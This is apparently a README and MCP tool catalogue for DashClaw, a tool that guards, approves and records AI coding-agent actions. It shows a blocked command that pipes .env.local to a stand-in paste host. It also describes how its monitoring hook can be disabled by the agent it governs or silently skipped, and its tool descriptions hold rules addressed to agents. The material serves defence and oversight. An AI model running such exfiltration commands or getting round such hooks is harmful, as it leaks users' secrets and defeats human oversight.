dashclaw
Governs AI agent actions end-to-end: guard risky calls before they run, route them for human approval, record every decision, and operate real project infrastructure across providers.
Guard risky actions (
dashclaw_guard) before deploys, writes, messages, or production touches; returnsallow/warn/block/require_approval.Record governed actions and outcomes (
dashclaw_record) with reasoning, confidence, tokens, cost, and status for the Decisions ledger.Wait for human approval (
dashclaw_wait_for_approval) and query recent guard decisions, policy lists, and Policy Coach behavior suggestions.Manage agent sessions: start/end sessions and create, fetch, or consume cross-session handoff bundles.
Code sessions: preview Optimal Files bundles (read-only) and persist a write manifest for CLI apply.
Credential hygiene: list tracked secrets (metadata only), list secrets due for rotation, mark secrets rotated.
Memory & reasoning: track open loops, record assumptions, and log/query a learning database of past decisions.
Safety tooling: static-scan untrusted skills before loading, pair an agent's cryptographic identity, run
doctorreadiness checks.Governance retrospection: read inbox messages/mark read, org-wide posture score, and the next highest-priority governance gap.
Work orders: submit typed, budget-capped work orders and check their status/receipt.
Capabilities: list registered external APIs and invoke them guarded + recorded via
dashclaw_invoke.Project/infra management: create projects, add/list environments, map provider resources and connections (GitHub, Vercel, Supabase, Stripe, Neon, Railway, and more).
Policy control: check or simulate whether a provider capability is allowed/blocked/approval-required, and list or set explicit policy rules.
Approvals: list, approve, or reject pending gated provider actions.
Provider operations: set Vercel/Railway app env vars under a governed
env_changeaction, and read app or latest deployment logs.Audit: list/export audit logs, export DashClaw evidence, summarize governed actions, and explain action risk as a dry run.
Launch workflow: create a launch plan, preflight the stack, check verified status, and verify the launch end-to-end.
Project memory & context: read/write project memory notes and export versioned context snapshots as JSON or Markdown.
Integrates with CrewAI to govern actions within CrewAI agent workflows, enforcing policies and requiring approvals for risky operations.
Routes pending approvals to Discord, allowing one-tap allow or deny via Discord notifications.
Integrates with LangChain via a callback handler to intercept and govern agent actions within LangChain applications.
Integrates with LangGraph to govern agent actions within LangGraph workflows.
Integrates with OpenAI Agents SDK to govern agent actions, enforcing policies and requiring approvals.
Routes pending approvals to Telegram, allowing one-tap allow or deny via Telegram notifications.
npx dashclaw up # no account, first caught action in minutesAI agents: setting DashClaw up for your user? Run
npx dashclaw up --yes --no-browser— the plain command prompts and will hang a non-interactive shell. The API key lands in~/.dashclaw/instance.json; verify withGET http://localhost:3000/api/healthandnpx dashclaw doctor. Full runbook: dashclaw.io/llms.txt. Do not attempt the hosted trial headlessly — its captcha needs your human.
What you get
A 10-second capability scan before the dense sections:
Fail-closed intercept at the execution seam. The Claude Code, Codex, and Hermes hooks, the OpenClaw gateway, and
dashclaw_invokecan cancel a blocked call before execution. Bare SDK, API, and ordinary MCP integrations are cooperative: the caller must honor the verdict.One-click remote approval. Resolve from the
/approvalsinbox, the CLI, a phone PWA, Telegram, or Discord. No presence required.Approvals in plain English. Every pending item leads with one sentence for what the command actually does, flags what cannot be undone, and warns when a file holds credentials. When no rule reads the command with confidence, it says so instead of guessing. The exact command is always shown underneath.
"Allow, don't ask again." Preview the target, lease, and matching pending items before creating a scoped standing grant. The UI resolves eligible items through the normal approval path and reports partial failures. High-risk, ungrantable, expired, or self-approved sources are rejected. Standing grants remain visible and revocable in the inbox.
Verifiable recorded evidence. Decision records, Ed25519 receipts where issued, and signed exports support later review. A receipt verifies its signed contents, not that an external effect happened. Authenticated identity and action-payload signing are shown separately.
Calibrated interruptions. Your approve/deny verdicts tune how often it interrupts, with a proven cap on false interruptions instead of a guessed threshold.
Autonomy is a number, not a prompt. How much your agent ships without a human looking is set by policy thresholds and checks, not by wording. Each action carries the agent's stated confidence — declared on the guard call, before the act, so it is a prediction and not a postscript — and the ledger scores it against the reported outcome, so an overconfident agent shows up as a number on /decisions, not as a surprise.
Enforcement liveness. A probe tests whether a synthetic held action executes through the installed hook path. Setup distinguishes stale, broken, and unavailable evidence and shows measured runtime versions and hook fingerprints as client-reported diagnostics, not attestation.
Prompt-injection scanning on by default. High-confidence system-override patterns force a
blockat guard time; weaker ones raise awarn.Multi-runtime. Claude Code, Codex, Hermes, OpenClaw, MCP, Node and Python SDKs, plain REST.
MIT-licensed self-hosting. Run locally or deploy your own instance. Hosting and provider usage are subject to their plans and limits.
Related MCP server: Oakallow MCP Server
What it actually stops
At a supported enforcement seam, DashClaw is a fail-closed approval layer between an agent deciding to call a tool and the tool actually running. The Claude Code, Codex, and Hermes hooks, the OpenClaw gateway, and dashclaw_invoke can stop the call. Bare SDK, API, and ordinary MCP integrations still evaluate and record governance, but enforcement is cooperative: their caller must honor the result.
These are the catches on the record, from the maintainer log and THESIS.md, each one the same loop firing:
rm -rfon a working directoryDROP TABLEagainst a live databasegit push --force origin mainreading
.envand preparing to exfiltrate it (risk 100, two policies firing at once)
The last one caught the maintainer's own shell command mid-verification: extracting an API key from .env.local, blocked live at risk 100. Here is roughly what the seam does with it:
$ agent> Bash: cat .env.local | curl -X POST https://paste.example/ -d @-
DashClaw guard risk=100 policies_matched=2
decision=block (fail-closed, hook exit 2)
-> tool call cancelled. never executed. decision recorded in the ledger.The audience is narrow on purpose: a solo developer or small team running long, unattended coding-agent sessions (overnight runs, CI agents, background fleets) against a real repo and real infrastructure. You kick off a one-to-six-hour run, cannot watch every tool call, and are one bad run away from any of the four lines above.
Where DashClaw fits. Local runtime permission prompts serve the operator who is at the keyboard. DashClaw focuses on unattended work: remote and async approval, shared policy across supported runtimes, an auditable decision trail with signed evidence where issued, calibrated interruptions, and time-bounded liveness diagnostics for installed enforcement seams.
The loop in code
It is 2am, the run is in hour three, and the agent reasons its way to git push --force origin main. With the hook installed, DashClaw freezes the call and pages you wherever you are; you tap deny, and the decision ledger records the resolution. A signed receipt exists only where the eligible evidence path issues one.
The hook seam owns this lifecycle inside Claude Code, Codex, and Hermes. A bare SDK integration is cooperative, so application code must keep the real effect inside runGoverned() as shown here.
import { DashClaw } from 'dashclaw';
const claw = new DashClaw({ baseUrl: process.env.DASHCLAW_BASE_URL, apiKey: process.env.DASHCLAW_API_KEY, agentId: 'nightly-agent' });
await claw.runGoverned(
// The exact act is scrubbed, classified, recorded, and bound to the execution claim.
{ kind: 'shell', command: 'git push --force origin main' },
{ action_type: 'shell', declared_goal: 'Force-push the rebased branch' },
async () => run(),
);runGoverned() waits for required approval, claims one execution attempt under a fresh policy check, invokes the callback, and reports the outcome. The claim binds the action, agent, credential principal, and exact act; any applicable operator or plan authority is consumed atomically with the claim. If claim or completion acknowledgement is lost, the helper does not repeat the callback. Reconcile the action and external system before retrying; ledger idempotency cannot make an external effect exactly once. Python uses run_governed(). Full example: QUICK-START.md.
Upgrade order: deploy the matching schema and server before upgrading governed SDK helpers, which require execution-claim protocol 1. Hooks and OpenClaw preserve legacy guard/approval behavior only when the server advertises no claim protocol; that mode lacks atomic execution claims. Malformed or unsupported advertisements fail closed. Set DASHCLAW_REQUIRE_EXECUTION_CLAIMS=1 after the server upgrade to reject legacy responses. See the execution contract.
flowchart LR
A[Agent decides<br/>to call a tool] --> B{Guard scores<br/>the act vs<br/>your policies}
B -->|allow / warn| G[Fresh policy check<br/>and atomic execution claim]
B -->|block| D[Hard stop<br/>fail-closed, hook exit 2]
B -->|allow_contained| F[Staged in a worktree<br/>diff awaits promote/discard]
B -->|require_approval| E[Action frozen]
E -->|approve, from anywhere| G
E -->|deny| D
F -->|promote| G
F -->|discard| D
G -->|confirmed claim| C[Tool runs]
G -->|rejected or uncertain| D
C --> L[(Decision and outcome records<br/>receipts where issued)]
D --> L
L -.-> P[Independent liveness probe<br/>tests the installed seam]The decision lattice is allow < warn < allow_contained < require_approval < block. Join is max; a block is absolute and cannot be downgraded in the ledger. allow_contained only ever reaches a caller that advertised the capability string for the staging medium it would use — client_capabilities: ['allow_contained'] for a git worktree, ['allow_contained:db'] for an ephemeral database branch; an older client sees require_approval instead (version skew only tightens).
Enforcement is mechanically real only where DashClaw sits in the seam between decide and execute: the Claude Code, Codex, and Hermes PreToolUse hooks (fail-closed, exit-2 on block), the OpenClaw gateway, and dashclaw_invoke. Everywhere else (bare SDK, API, and MCP callers, desktop chat) governance is cooperative: the caller consults guard and honors the decision; recording requires the caller to use a recording path. A block is never downgraded in the ledger. DashClaw does not claim universal hard enforcement. Even at the mechanical seam, the hook runs at the agent's own privilege level. An agent with write access to the hook path can disable its governor; DashClaw can govern and report that write, but the tamper-resistant boundary belongs to the deployment: a container, separate OS user, or read-only hook path. Per-surface table and full threat model: docs/architecture/enforcement-boundary.md.
What DashClaw is not
This section exists so you can rule the tool out fast if it is the wrong thing.
Not a general tracing product. DashClaw focuses on policy decisions before execution. It can halt calls at the supported mechanical seams above; cooperative callers must honor the result. If you primarily need model traces and evaluation dashboards, this is not that.
Not a general agent platform. DashClaw does not provide a broad calendar, CRM, messaging, or RAG tool suite. It retains one bounded, operator-configured capability seam:
dashclaw_invokecan hold a registered credential and execute that registered external API after server-side governance. The v5.0.0 cull removed the wider platform tier, and a CI surface-budget brake prevents it growing back.Not universal hard enforcement. Enforcement is mechanical only at the seam (the hooks, the OpenClaw gateway,
dashclaw_invoke); everywhere else it is cooperative. See the boundary note above.Not tamper-proof against the agent it governs. The hook runs at the agent's privilege level, inside the blast radius of the thing it governs. It stops the accident class and makes tampering visible and policy-blocked; it cannot stop a determined process executing at the same privilege. Real isolation is a deployment property — container, separate OS user, or read-only hook path — and DashClaw's docs say so instead of pretending otherwise.
Not battle-tested at scale. First commit was February 2026. It is proven by continuous dogfood, not by a large install base. See Project status.
Full product definition and everything explicitly out of scope: THESIS.md.
Maintained by an AI, under a human-held charter
Day-to-day, DashClaw is built and maintained by an AI agent, in public. That agent operates under a human-held charter, MAINTAINER.md, which pins five invariants it cannot change:
Blocks are absolute. A
blockis never downgraded, in the ledger or anywhere else.No self-approval. The maintainer cannot approve its own governed actions.
Humans ratify every loosening. Any policy relaxation routes through a human-ratified proposal.
Credential-gated acts stay human-controlled. Production data, publishing, billing, and infrastructure changes require the owner's authorization.
The charter remains human-held. Its constitutional rules change only at the owner's explicit direction. The operating protocol separately requires live proof for public claims.
Material maintainer changes and design decisions are recorded in the maintainer log. Governing autonomous agents is the exact problem DashClaw exists to solve, so the project governs its own maintainer with its own runtime. That is the source of the sharpest design constraints below. The enforcement boundary, the blackout, and the liveness incident are included here so the claims remain auditable.
Quick start
npx dashclaw upOne command provisions Postgres (Docker or embedded), generates secrets, mints your API key, applies migrations, starts on :3000, offers to wire Claude Code hooks, and opens your browser already signed in. No account required on the path to your first caught action.
Click the button, add Neon when prompted, and fill in the variables from .env.example. Provider plans and limits determine hosting cost. The configured Vercel build runs schema migration before building the app; required-schema or migration-checksum failures stop it.
The hosted trial is the secondary door: to see the Approvals inbox before deploying anything, hosted.dashclaw.io mints a capped trial workspace in the browser. Coming from the trial, click Export workspace on its /connect card and run dashclaw import <bundle.json> against your own instance. Policies, decisions, history, agents, and assumptions carry over; API keys and secret values never ride a bundle. Operator runbook: docs/hosted-deployment-runbook.md.
Connect an agent
Every path lands on the same guard engine, the same decision ledger, and the same Approvals inbox. The enforcement column is honest about which paths halt mechanically and which are cooperative.
Your agent runs on | Path | Enforcement | Guide |
Claude Code | Plugin + PreToolUse hooks | Mechanical, fail-closed | |
Codex | Plugin | Mechanical, fail-closed | |
Hermes Agent | Plugin (lifecycle hooks) | Mechanical, fail-closed | |
OpenClaw | Gateway plugin | Mechanical | |
| Guarded invoke | Mechanical | |
Claude Desktop (chat) | OAuth connector, no install | Cooperative | |
Any stdio / HTTP MCP host | MCP server | Cooperative | |
LangChain / CrewAI / AutoGen | Python SDK | Cooperative | |
Custom / framework-less | Node or Python SDK | Cooperative | |
Anything HTTP | REST API + webhooks | Cooperative |
End-to-end examples per runtime: examples/.
Coding-agent plugins (Claude Code, Codex, Hermes). One plugin source (plugins/dashclaw/), three ecosystems. Each manifest ships the MCP config, the dashclaw-governance protocol skill, and a distinct agent_id.
npm i -g @dashclaw/cli
dashclaw install claude # wires ~/.claude/settings.json, fresh installs default to enforce
dashclaw install codex --project /path/to/repo # wires manifest, hooks, AGENTS.md protocol
bash scripts/install-hermes-plugin.sh # macOS / Linux (.ps1 on Windows)This repo is also a native Claude Code plugin marketplace — no CLI needed:
/plugin marketplace add ucsandman/DashClaw # inside Claude Code
/plugin install dashclaw@dashclaw # MCP server + governance skill + hooksClaude Code hooks govern Bash, Edit, Write, MultiEdit, sub-agent spawns, and every mcp__* call with a fail-closed PreToolUse check. Fresh installs start in enforce mode (the seeded catastrophe pack holds the irreversible class); pass --observe or set DASHCLAW_HOOK_MODE=observe to log without blocking, and re-installs keep whichever mode you chose. Observe mode is loud, never silent: /approvals and /decisions show a red banner while any agent reports it, unenforced verdicts render "Logged, not enforced" in the ledger, and a gated action that executes anyway gets an executed_despite witness stamp from PostToolUse — a logged block is never presented as an enforced one. Narrowing the scope is loud too: DASHCLAW_GOVERNED_CATEGORIES decides which tool categories call guard at all, and an excluded category exits before the network call, so its tool calls are simply absent from /decisions — which reads identically to "that agent did nothing." Since v5.20 the hook declares the categories it is not governing on the calls it does make, and any category dropped below the default raises a red Governance scope narrowed signal naming what stopped being watched. Verify the wiring fires:
echo '{"tool_name":"Bash","tool_input":{"command":"echo hello"},"tool_use_id":"t1","session_id":"smoke"}' | python .claude/hooks/dashclaw_pretool.pyOpenClaw. @dashclaw/openclaw-plugin intercepts calls delivered through the gateway's installed before_tool_call hook, so those calls need no agent-initiated DashClaw tool. The CLI installs it, patches config, and writes the governance protocol into the resolved workspace's AGENTS.md. Embedded native tools need their own runtime hooks.
dashclaw install openclawRun it bare in a terminal and it walks you through everything you're missing: no DashClaw instance yet? it offers the hosted trial or a local install (dashclaw up) inline; no API key? it collects one; then it suggests a per-machine agent id (<hostname>-openclaw). With --base-url, --api-key, and --agent-id (or the matching env vars) it runs non-interactively. Full guide: dashclaw.io/guides/openclaw.
MCP server (zero code). @dashclaw/mcp-server exposes 17 governance MCP tools across core governance, retrospection, identity, team tasks, and plans, plus 3 read-only resources (dashclaw://policies, dashclaw://agent/{agent_id}/history, dashclaw://status).
{ "mcpServers": { "dashclaw": { "command": "npx", "args": ["@dashclaw/mcp-server"],
"env": { "DASHCLAW_URL": "https://your-dashclaw.vercel.app", "DASHCLAW_API_KEY": "oc_live_xxx" } } } }Every instance also serves Streamable HTTP MCP at /api/mcp. For Claude Desktop, add that URL as a custom connector (Settings, Connectors); OAuth auto-discovers, no key in the UI.
SDKs. npm install dashclaw (Node 18+) or pip install dashclaw (Python 3.7+). The 41-method canonical Node surface covers guard, record, assumptions, approvals, durable-execution finality, security scanning, sessions and the action graph, pairing, risk signals, policy simulation, plan authorization, delegation constraints, containment verdicts, and team tasks. The Python SDK exposes 61 methods, plus CrewAI and AutoGen integrations. Plan authorization pins the approved plan's content hash at submission (plan_hash); attestPlan(planId, planHash) / attest_plan(plan_id, plan_hash) let an unattended runner confirm -- before its first model call -- that the plan it is about to act under is still approved, unexpired, and hash-matched, failing closed on drift (not_approved | expired | revoked | hash_mismatch) without ever echoing the stored hash back on a mismatch.
REST. Every primitive is HTTP. The stable contract is pinned in docs/openapi/critical-stable.openapi.json; the full inventory (136 routes: 43 stable, 18 beta, 75 experimental) is in docs/api-inventory.md. Webhooks: decision.created, action.created, lost_confirmation, configurable per org.
The governance model
The protocol-1 diagram above shows the current execution path. Eight points define its scope:
Every action inside a mechanical integration's configured governance scope is evaluated against active policies before that integration releases it. Cooperative SDK, API, and ordinary MCP callers receive the same verdict but remain responsible for honoring it. Policies are declarative. The builder ships with ten pre-built safety switches (Deploy Gate, Risk Threshold, Rate Limiter, Evidence Required, Protected Path, Subagent Constraint, and others across 20 guard policy types), an AI generator, YAML import, and a pack gallery at
/policies/packs— 18 curated packs (spend, outbound comms, unattended overnight runs, prod infra, subagent fleets, and more), each previewable against your own action history before a one-click install.The default pack is narrowly scoped. New self-hosted organizations receive the catastrophe pack. Its named rules hold protected-target destruction, force pushes, secret-file writes, and classified real-money purchases. Risk score alone does not trigger every hold, and ordinary project cleanup is not universally blocked. Review the actual rules and your active Short List; additional policies can impose stricter decisions.
Sensitive actions require human approval, and the approval is one click. Approvals route to
/approvals, the CLI, the mobile PWA at/approve, Telegram, or Discord. When one policy blows its interruption budget, per-action pings collapse into one flood banner with bulk-resolve. A repeat interruption can be retired at the card with "Allow, don't ask again", which writes a target-scoped, expiring, revocable grant rather than silencing anything. Pending approvals are never auto-resolved.Decisions are recorded and outcome transitions are durable. A five-state finality machine distinguishes confirmed outcomes from
lost_confirmation. Protocol-1 execution claims give one caller authority for one attempt, but they cannot prove whether an external effect completed after a response was lost. Unknown completion requires reconciliation or effect-specific idempotency before retry. Spec below and indocs/architecture/durable-execution-finality.md.Interruption precision is calibrated, not guessed. A distribution-free controller (
/policies#calibration, default preview) turns your approve/deny verdicts into a proven false-interruption bound. Shadow-first, then it loosens as well as tightens: below the calibrated threshold an approval request becomes a recorded warning instead, bounded by the riskiest action you have personally approved and retracted by a single deny. It never reachesallow, never touches ablock, and never edits a policy — standing policy changes still route through human-ratified proposals.Liveness checks test the installed seam. A synthetic action tests whether the configured hook holds execution. Setup shows the result, reporting time, host-runtime version, and selected hook fingerprint. Missing or malformed reports remain unavailable. These client-reported checks do not establish continuous enforcement or resist a compromised same-user host.
Prompt-injection scanning is on by default. High-confidence system-override patterns force a
blockat guard time; lower-severity patterns raise awarn.An outside decision engine can tighten decisions, never loosen them. An org can configure one external decision provider on
/policies; the guard calls it for applicable evaluations and joins its verdict stricter-wins — externaldenyis absolute for the evaluated act, externalallownever overrides a stricter local result, and the verdict is bound to the exact input digest. An unreachable applicable provider takes an explicit posture (fail_closeddefault) and is recorded asexternal unavailable. A provider can be scoped to exact action types; out-of-scope acts stay local-only. Contract:docs/external-verdict-provider.md.
The 18-day blackout (point 2). The reference deployment ran with all policies off for 18 days in June 2026 because the default pack fired an approval roughly every ten seconds. That is why the default is catastrophe-only: a governor you disable is worse than none. Cited in MAINTAINER.md and THESIS.md.
The governor caught asleep (point 6). In v4.72.1 a hook timeout was set to 3600000 in a field Claude Code reads as seconds; the harness multiplied by 1000, 3.6e9 ms overflowed the 32-bit timer ceiling, the timer fired immediately, and the harness cancelled the hook and ran the tool anyway. Every block and every approval wait was silently skipped, including a block on git push origin main. The worst part: the orphaned hook process lived long enough to land its guard call, so the ledger kept filling with decisions that looked enforced. Maximum false confidence. That incident is the entire reason the liveness probe (v4.75.0) verdicts by execution and not by the ledger. Story: docs/maintainer-log.md.
The calibration bound (point 5). The controller is the Gibbs-Candes online adaptive conformal recursion on a monotone decision loss, with a deterministic false-interruption bound: for any adjudication sequence (arbitrary drift, arbitrary dependence, adversarially chosen), the realized false-interruption rate is at most α + (b − θ₁)/(γT). With shipped constants (γ=2, θ₁=80, b=102) the excess above target is ≤ 11/T: within 0.1 of target after ~110 labeled adjudications, within 0.01 after ~1100. No distributional assumptions. Proof sketch: docs/architecture/governance-core-theory.md.
Signed, verifiable receipts (point 4). Each non_fabrication decision attempts to attach an Ed25519 proof receipt proving the verdict, the ruleset version (a content hash of the source of truth), and the issuer signature; signing is best-effort and never gates the verdict. The compliance export is a signed, hash-chained bundle. Anyone can re-verify at POST /api/integrity/verify with no API key. The signing key is the instance's own Ed25519 key, published via JWKS. Contract: docs/architecture/runtime-api.md.
The anti-regrowth brake. A 2026-03 SDK cull regrew to full sprawl in four months because the promised CI gate never shipped. This time scripts/check-surface-budget.mjs counts every governed surface and fails CI when any exceeds its v5.0.0 ceiling. Raising a ceiling requires amending THESIS.md and contracts/surface-budget.json in the same commit with a written reason.
Architecture map: PROJECT_DETAILS.md. Runtime API contract: docs/architecture/runtime-api.md.
Durable execution finality
Approved actions carry a terminal outcome separate from their lifecycle status. Five states, one-shot transitions, enforced at the repository layer.
State | Meaning |
| Approved, no outcome reported yet. |
| Finished successfully. Set by the agent. |
| Started but did not finish. Set by the agent with a progress payload. |
| Attempted and errored. Set by the agent with an error message. |
| Timeout exceeded without a report. Set by the cron sweep. |
POST /api/actions/[actionId]/outcome is one-shot: the first call wins, every later POST returns 409. A cron sweep marks stale pending rows lost_confirmation and emits a signal.detected event. That state means completion is unknown, not that the effect did not happen. Reconcile the external system and action record, or use the target system's idempotency primitive, before retrying. Spec: docs/architecture/durable-execution-finality.md.
Approvals, from anywhere
waitForApproval() uses SSE for low latency and falls back to polling, reconciling the authoritative action state before it resolves.
Surface | What it is | Setup |
Dashboard ( | The primary inbox: what your agent tried, what waits on you, and per item — allow, deny, or stop being asked about that exact target — each led by a plain-English sentence for what the command does. | None |
CLI ( | Terminal inbox: |
|
Mobile PWA ( | Phone-first allow/deny with risk score and policy. Add to home screen. | None |
Telegram | Inline Approve/Reject in an admin chat. |
|
Discord | Inline Approve/Deny on DM embeds. |
Documentation
docs/README.md is the full index, ordered by adoption journey (understand, try, connect, operate, reference). Highlights:
Concepts: the mental model, risk scoring, what "block" means per surface.
Quick start · Governing Claude Code · Governing agents over MCP.
Operating DashClaw: policies, approvals, the ledger, the emergency halt, doctor.
Troubleshooting: the errors you will actually see, with fixes.
Agent identity: JWKS verification, replay protection, action binding.
Runtime API · Guard enforcement contract · Governance core theory.
Durable execution finality · API inventory · Security guide · Changelog.
Project status
Stated plainly, because a security tool that oversells itself is a liability:
Young and fast-moving. First commit February 2026; releases land near-daily. The API surface is tiered for exactly this reason: 43 stable routes pinned in the OpenAPI contract, 18 beta, 75 experimental. Build against stable; experimental can change without notice.
Proven by dogfood, not by scale. The core loop runs against the maintainer's own agent fleet, and CI exercises specified policy and lifecycle contracts. External production deployments are early. Treat this as young infrastructure, not a battle-tested incumbent or an uptime commitment.
AI-maintained, human-governed, in public. Day-to-day maintenance is done by an AI agent under the human-held charter in MAINTAINER.md, whose five invariants (above) the maintainer cannot change. Material changes and design decisions are recorded in the maintainer log.
Contributing and license
Issues and PRs are welcome on github.com/ucsandman/DashClaw. If DashClaw caught something on one of your runs, a GitHub star is the honest signal that the wedge is real.
Support
If my tools save you time, you can support my work here:
Available Tools
68 toolsadd_environmentAdd environmentB
Add an environment (e.g. staging, production) to a project.
Inputs: name (required), kind, project.
approve_actionApprove actionA
Approve a pending action request for one matching rerun. This never executes the provider call by itself; rerun the original action after approval.
Inputs: approvalId (required), note.
check_policyCheck policyA
Ask whether a capability (read/write/deploy/env_change/delete/destructive_sql/purchase) is allowed, blocked, or requires approval for a provider in an environment — WITHOUT executing anything.
Inputs: provider (required), capability (required), environment (required), live, +1 more.
create_connectionCreate provider connectionB
Create an explicit provider connection backed by an environment variable. The secret value is never stored.
Inputs: label (required), envVar (required), provider (required), vercelTeamId.
create_launch_planCreate launch planA
Create a stateful launch plan for a project: an ordered step checklist derived from the launch playbook for the declared stack (subset of: domain, vercel, neon, stripe, resend, clerk, upstash, r2, sentry, posthog). Plans TRACK the launch — each step names the existing guarded tool that performs it and a machine-evaluable reality check; nothing is executed by this tool. Stored locally under .dashclaw-local/launches/.
Inputs: declared_stack (required), domain, project, environment.
create_projectCreate projectC
Create a new project in the default workspace.
Inputs: name (required), slug, description.
dashclaw_assumption_recordA
Record an assumption you are acting on — something you treat as true but have not verified (e.g. "staging tests passed", "no active legal hold on this record"). Attach it to the action whose decision rests on it so operators can later validate or refute it and staleness drift is tracked. Call right after the action that depends on the belief.
Inputs: action_id (required), assumption (required), basis.
dashclaw_behavior_suggestionsA
List DashClaw Policy Coach suggestions — evidence-backed, observe-only policy suggestions the analyzer learned from this agent's locally-recorded behavior (destructive commands, protected-path writes, repeated reloads, failed loops, model/task mismatches, and the safe operating envelope). Read-only: each suggestion carries confidence, sample size, evidence, and expected effect. Review, simulate, and adopt them from the Policy Coach UI — nothing is enforced automatically.
Inputs: agent_id.
dashclaw_capabilities_listA
List available capabilities registered in DashClaw. Use this to discover what external APIs and tools are available before invoking them. Returns capability IDs, names, health status, and risk levels. Filter by category, risk level, or search term.
Inputs: search, category, risk_level.
dashclaw_decisions_recentB
Query the guardrail decisions ledger for recent governed actions. Filter by agent, action type, decision verdict, or time window. Use for in-session retrospection — "what have I done recently?"
Inputs: limit, since, agent_id, decision, +1 more.
dashclaw_guardA
Evaluate DashClaw governance policies before taking a risky action. Call this BEFORE any action that modifies external systems, deploys code, sends messages, or touches production data. Returns a decision: "allow" (proceed), "warn" (proceed with caution), "block" (stop), or "require_approval" (wait for human in Mission Control). If the decision is "block", do NOT proceed with the action.
Inputs: risk_score (required), action_type (required), declared_goal (required), target, +6 more.
dashclaw_handoff_consumeA
Mark a handoff as consumed. Call after dashclaw_handoff_latest returns a bundle and you have processed it. Idempotent.
Inputs: id (required), session_id.
dashclaw_handoff_createA
Create a session handoff bundle for the next session of this agent to consume on start. Call this when wrapping up — include a 1-2 sentence summary, any open loops, decisions made, and freeform state you want the next session to see.
Inputs: bundle (required), agent_id, project_id.
dashclaw_handoff_latestB
Fetch the latest unconsumed session handoff for this agent (+ project, optional). Call this on session start to pick up where the last session left off. Returns null if no handoff is waiting.
Inputs: agent_id, project_id.
dashclaw_inbox_listA
List this agent's DashClaw inbox messages and unread count. Use at the start of a session, or when notified, to see governance messages, lessons, questions, and status updates addressed to you before deciding what to do next. Each message includes an is_read flag; the response also carries the total unread_count. Pair with dashclaw_messages_mark_read once you have processed them.
Inputs: type, limit, unread, agent_id, +1 more.
dashclaw_invokeA
Invoke a DashClaw-governed capability (external API). The capability is guarded (policy check), executed (HTTP call), and recorded (audit trail) automatically. Use this instead of making direct HTTP calls when the target API is registered as a DashClaw capability. Call dashclaw_capabilities_list first to discover available capability IDs.
Inputs: capability_id (required), declared_goal (required), payload, agent_id.
dashclaw_learning_logA
Log a decision + outcome to the learning database. Use after making a non-obvious decision so future sessions can recall the reasoning and outcome.
Inputs: decision (required), context, outcome, agent_id.
dashclaw_learning_queryA
Query the learning database for prior decisions and lessons. Use BEFORE making a decision similar to one you might have made before.
Inputs: limit, query, agent_id.
dashclaw_loop_addA
Register an open loop on a parent action — a commitment made in conversation that needs follow-up. Use when you say "I will X later" so the loop is tracked outside of context. Loops are action-scoped; action_id is required.
Inputs: action_id (required), loop_type (required), description (required), owner, +1 more.
dashclaw_loop_closeA
Resolve an open loop. Call when the followed-up-on item is complete. Requires the loop_id and a short resolution note.
Inputs: id (required), resolution.
dashclaw_loop_listB
List open (or resolved) loops with optional filters. Use on session start to remember what you promised to follow up on.
Inputs: to, from, status, agent_id, +2 more.
dashclaw_messages_mark_readA
Mark one or more DashClaw inbox messages as read for this agent. Call after processing messages from dashclaw_inbox_list so they stop reappearing as unread. Direct messages are marked read for the target agent; broadcasts record this agent in read_by. Returns { updated: }.
Inputs: message_ids (required), agent_id.
dashclaw_optimal_files_manifestA
Persist a write plan for selected Optimal Files entries. Returns { manifest_id, expires_at, apply_command }. The local CLI invokes dashclaw code apply <manifest_id> to apply the plan to disk. Manifest expires after 24h.
Inputs: selections (required), session_id (required).
dashclaw_optimal_files_previewA
Preview the Optimal Files bundle DashClaw Code Sessions would generate for a given session. Returns the per-file plan with confidence, secret-scan, and overwrite-risk flags. Read-only — does NOT write to disk; pair with dashclaw_optimal_files_manifest to persist a chosen subset.
Inputs: session_id (required).
dashclaw_pairA
Enroll this agent's cryptographic identity with DashClaw (operator pairing requests in your inbox ask for exactly this). Generates an RSA-2048 keypair locally, stores the PRIVATE key on this machine only (~/.dashclaw/identity/<agent_id>.pem — never logged, never sent), and POSTs the public key to /api/pairings. An admin then approves the pairing, which creates the agent identity and lets your recorded actions be signature-verified. Set wait:true to poll until approved/expired (max 5 min). After pairing, mark the request message read via dashclaw_messages_mark_read.
Inputs: wait, agent_id, agent_name.
dashclaw_policies_listA
List active governance policies. Use this to understand what rules govern your actions before taking them. Helps calibrate risk scores and know which action types require approval. Optionally filter to policies applying to a specific agent.
Inputs: agent_id.
dashclaw_postureA
Read the org-wide governance posture score (0-100) and its prioritized remediation queue. Returns the gaming-resistant score, the six dimension breakdowns (identity, enforcement, spend, auditability, approval, data_protection), and the open findings (each with severity, points recoverable, evidence, and the prefilled fix). Read-only governance retrospection — "how well is my fleet actually governed, and what is the highest-leverage gap?" Resolving findings is operator-driven (UI/CLI); an agent can observe gaps but never activates enforcement.
Inputs: dimension.
dashclaw_posture_nextA
Return the single highest-priority open governance gap (the top of the posture remediation queue) with its severity, points recoverable, evidence, and prefilled fix. Use for "what is the one governance gap I should close next?" Read-only — preparing or activating the fix is operator-driven, not agent-driven.
Inputs: no named parameters.
dashclaw_recent_decisionsDashClaw recent decisionsC
Read recent DashClaw guard decisions scoped to project/environment when supported by DashClaw.
Inputs: limit, project, environment.
dashclaw_recordA
Record a governed action in DashClaw's audit trail. Use this to log significant decisions, completed tasks, or notable outcomes. Every important action the agent takes should be recorded for governance visibility in Mission Control and the Decisions ledger.
Inputs: status (required), action_type (required), declared_goal (required), model, +11 more.
dashclaw_secret_dueA
List secrets coming due for rotation. Call this BEFORE acting on credentials. If a credential you would use is in the result, flag the operator rather than proceeding.
Inputs: agent_id, within_days.
dashclaw_secret_listA
List tracked secrets (metadata only — no values). Returns each entry with name, rotation interval, last_rotated_at, and computed next_rotation_due.
Inputs: agent_id.
dashclaw_secret_mark_rotatedA
Mark a tracked secret as rotated (sets last_rotated_at = now). Agents only call this if the operator instructs; secret registration is an operator task.
Inputs: id (required).
dashclaw_session_endA
Close a DashClaw session and update its status. Call this when the task is complete or if the session needs to be marked as failed. Provides a clean lifecycle boundary for governance reporting in Mission Control.
Inputs: status (required), session_id (required), summary.
dashclaw_session_startA
Register this agent session with DashClaw. Creates a session record that groups all subsequent actions for tracking and observability. Call this at the beginning of a task to establish a governance boundary.
Inputs: agent_id (required), branch, workspace.
dashclaw_skill_scanA
Run a static safety scan against the contents of an untrusted skill before loading it. Returns findings (severity, file, line) and a passed boolean. If passed=false, do NOT load the skill — show the findings to the operator.
Inputs: files (required), skill_name (required).
dashclaw_statusDashClaw statusA
